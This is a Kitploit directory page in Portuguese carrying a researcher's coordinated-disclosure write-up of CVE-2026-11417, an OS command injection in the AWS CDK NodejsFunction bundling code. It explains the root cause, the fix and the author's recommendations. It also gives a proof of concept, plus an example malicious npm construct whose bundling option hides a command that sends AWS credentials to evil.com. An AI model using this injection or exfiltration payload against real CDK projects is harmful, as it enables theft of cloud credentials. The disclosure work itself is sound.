Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-11417-AWS-CDK-RCE — Análise técnica e Prova de Conceito (PoC) para CVE-2026-11417: Injeção de Comandos do SO / Execução Remota de Código (RCE) no NodejsFunction do AWS CDK. | Kitploit
Ferramentas/GitHubGitHub/heshamash/cve-2026-11417-aws-cdk-rce
Análise de VulnerabilidadesAnálise de CódigoExploraçãoTestes de PenetraçãoSegurança na NuvemSegurança da Cadeia de SuprimentosPapers e PesquisaAprendizado e Educação
GitHub
heshamash/cve-2026-11417-aws-cdk-rce

CVE-2026-11417-AWS-CDK-RCE

Análise técnica e Prova de Conceito (PoC) para CVE-2026-11417: Injeção de Comandos do SO / Execução Remota de Código (RCE) no NodejsFunction do AWS CDK.

Ver Repositório
3há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Injeção de Comando na Cadeia de Suprimentos no NodejsFunction do AWS CDK (CVE-2026-11417)

Autor: Hesham Ashraf (@HeshamASH)

Data: 10 de junho de 2026

Gravidade: Alta (CVSSv3.1: 7.3, CVSSv4: 7.0)

CWE: CWE-78 — Neutralização Incorreta de Elementos Especiais usados em um Comando do SO (Injeção de Comando do SO)

Pacote Afetado: aws-cdk-lib (npm), todas as versões anteriores à 2.245.0

Fornecedor: Amazon Web Services (AWS)

Status: Corrigido (PR #37292, PR #37412) | CVE: CVE-2026-11417 | Boletim: AWS-2026-041 | Advertência: GHSA-999r-qq7v-r334


TL;DR

Descobri uma vulnerabilidade de injeção de comando no AWS Cloud Development Kit (CDK) que permitia a um atacante obter Execução Remota de Código (RCE) em qualquer máquina executando — incluindo estações de trabalho de desenvolvedores e pipelines de CI/CD — ao publicar um pacote npm malicioso ou enviar um Pull Request especialmente elaborado.

cdk synth

A vulnerabilidade existia porque o construct NodejsFunction do aws-cdk-lib interpolava strings controladas pelo usuário diretamente em um comando de shell sem sanitização e, em seguida, as executava via bash -c / cmd /c. A AWS corrigiu o problema substituindo a execução baseada em shell por matrizes de argumentos diretas do spawnSync.


Contexto

O AWS Cloud Development Kit (CDK) é um framework open-source amplamente utilizado para definir infraestrutura de nuvem como código. Ele é usado por dezenas de milhares de desenvolvedores e pipelines de CI/CD para sintetizar e implantar stacks do AWS CloudFormation.

O construct NodejsFunction é um dos constructs L2 mais populares do CDK. Ele empacota funções Lambda TypeScript/JavaScript usando esbuild durante a fase de síntese (cdk synth).


A Vulnerabilidade

Causa Raiz

O caminho de empacotamento local do construct NodejsFunction construía uma string de comando de shell interpolando diretamente várias propriedades controladas pelo usuário, sem qualquer sanitização:

root@kitploit:~
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
  options.esbuildRunner,
  '--bundle', `"${relativeEntryPath}"`,
  `--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
  '--platform=node',
  ...this.externals.map(external => `--external:${external}`),           // NO ESCAPING
  ...loaders.map(([ext, name]) => `--loader:${ext}=${name}`),            // NO ESCAPING
  ...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NOT ESCAPED
  ...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [],   // NO ESCAPING
  ...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [],         // NO ESCAPING
];

A matriz era então unida em uma única string e passada para um shell:

root@kitploit:~
// The joined command is passed directly to the OS shell
exec(
  osPlatform === 'win32' ? 'cmd' : 'bash',
  [osPlatform === 'win32' ? '/c' : '-c', localCommand],
  { /* ... */ }
);

Metacaracteres de shell como &, ;, |, ` e $(...) em qualquer uma das propriedades injetáveis seriam interpretados pelo shell como separadores de comandos, permitindo a execução arbitrária de comandos.

Propriedades Afetadas

PropriedadeSanitizaçãoNível de Risco
externalModulesNenhumaCrítico
define (chaves)Nenhuma (valores usam JSON.stringify)Crítico
loader (chaves)NenhumaCrítico
injectNenhumaCrítico
esbuildArgs (chaves/valores)NenhumaCrítico

Cenário de Ataque na Cadeia de Suprimentos

Esta vulnerabilidade é particularmente perigosa porque a injeção ocorre na camada de síntese do CDK, não durante o npm install. Isso significa que medidas de segurança padrão do npm, como o --ignore-scripts, não oferecem nenhuma proteção.

Vetor de Ataque: Construct CDK Malicioso

Um atacante publica um pacote npm de aparência legítima que encapsula o NodejsFunction:

root@kitploit:~
// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';

export class ConvenientLambda extends NodejsFunction {
  constructor(scope, id, props) {
    super(scope, id, {
      ...props,
      bundling: {
        ...props.bundling,
        externalModules: [
          ...(props.bundling?.externalModules ?? []),
          // Hidden payload among legitimate-looking externals
          'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
        ],
      },
    });
  }
}

Quando um desenvolvedor instala este pacote e executa cdk synth, o CDK constrói:

root@kitploit:~
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)

O caractere & divide isso em dois comandos de shell independentes:

  1. npx esbuild --bundle handler.ts --external:lodash — o esbuild executa normalmente
  2. curl https://evil.com/... — o payload do atacante exfiltra as credenciais da AWS

Por Que Isso Contorna as Defesas Padrão

DefesaEficaz?Por quê
npm install --ignore-scriptsNãoA injeção ocorre durante o cdk synth, não na instalação do pacote
Revisão de código do package.jsonNãoO payload está no código TypeScript do construct, não em scripts
npm auditNãoO pacote não contém vulnerabilidades conhecidas
Integridade do lockfileNãoO pacote em si é instalado corretamente

Prova de Conceito

Etapa 1: Criar um projeto CDK

root@kitploit:~
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts

Etapa 2: Criar o app.ts com o payload de injeção

root@kitploit:~
import * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';

class PoCStack extends Stack {
  constructor(scope, id) {
    super(scope, id);
    new NodejsFunction(this, 'Fn', {
      entry: path.join(__dirname, 'lambda', 'handler.ts'),
      runtime: Runtime.NODEJS_20_X,
      bundling: {
        externalModules: ['foo & echo PWNED > pwned.txt'],
      },
    });
  }
}

const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();

Etapa 3: Acionar

root@kitploit:~
npx ts-node app.ts

Etapa 4: Verificar a RCE

root@kitploit:~
cat pwned.txt
# Output: PWNED

O arquivo pwned.txt é criado, confirmando a execução arbitrária de comandos no host.


A Correção

PR #37292: spawnSync baseado em matriz

A correção principal substitui a construção de strings de comando de shell por spawnSync direto, usando matrizes de argumentos:

root@kitploit:~
- // Before: shell-interpreted command string
- exec('bash', ['-c', esbuildCommand.join(' ')]);

+ // After: direct argument array (no shell interpretation)
+ spawnSync(command, args, { /* no shell */ });

Isso elimina completamente a interpretação de metacaracteres de shell. O novo sistema de tipos BundlingStep separa claramente:

  • etapas spawn: esbuild/tsc/install — executadas via spawnSync direto com matrizes de argumentos
  • etapas shell: commandHooks fornecidos pelo usuário — executados intencionalmente via shell (o usuário os controla por contrato)
  • etapas fs: operações de arquivo — sem envolvimento de shell

PR #37412: Escape do PowerShell no Windows

No Windows com Node 22+, o spawnSync direto de shims .cmd falha com EINVAL. Este PR roteia as etapas de spawn através do powershell.exe com powershellEscape() — uma função que coloca aspas simples estritas em cada argumento usando o escape nativo do PowerShell (duplicando aspas simples internas) e, em seguida, antepõe o operador de chamada &.


Lições Aprendidas

  1. Execução via shell é um code smell. Qualquer caminho de código que construa uma string e a passe para bash -c ou cmd /c é uma potencial vulnerabilidade de injeção de comando. Sempre prefira spawnSync baseado em matriz ou execFile.

  2. Ataques à cadeia de suprimentos contornam as defesas em tempo de instalação. O npm audit e o --ignore-scripts protegem contra scripts postinstall maliciosos, mas não podem proteger contra vulnerabilidades nas ferramentas que processam dependências em tempo de build.

  3. Constructs do CDK são código confiável. Quando um desenvolvedor importa um construct CDK de terceiros, ele implicitamente confia que o construct configurará sua infraestrutura corretamente. Um construct malicioso pode aproveitar essa confiança para injetar payloads em propriedades de empacotamento que parecem configuração comum.


Recomendações para Usuários do CDK

  1. Atualize imediatamente para a versão 2.245.0 do aws-cdk-lib ou posterior

  2. Audite constructs CDK de terceiros em busca de valores incomuns na propriedade bundling

  3. Fixe as versões dos constructs CDK no seu package-lock.json

  4. Revise PRs que modifiquem a configuração de bundling com atenção redobrada

  5. Reproduza a vulnerabilidade usando os arquivos fornecidos na pasta poc/.


Descoberta e relatada por Hesham Ashraf (@HeshamASH). Divulgação coordenada conduzida por meio do programa AWS VDP.

Baixar ferramenta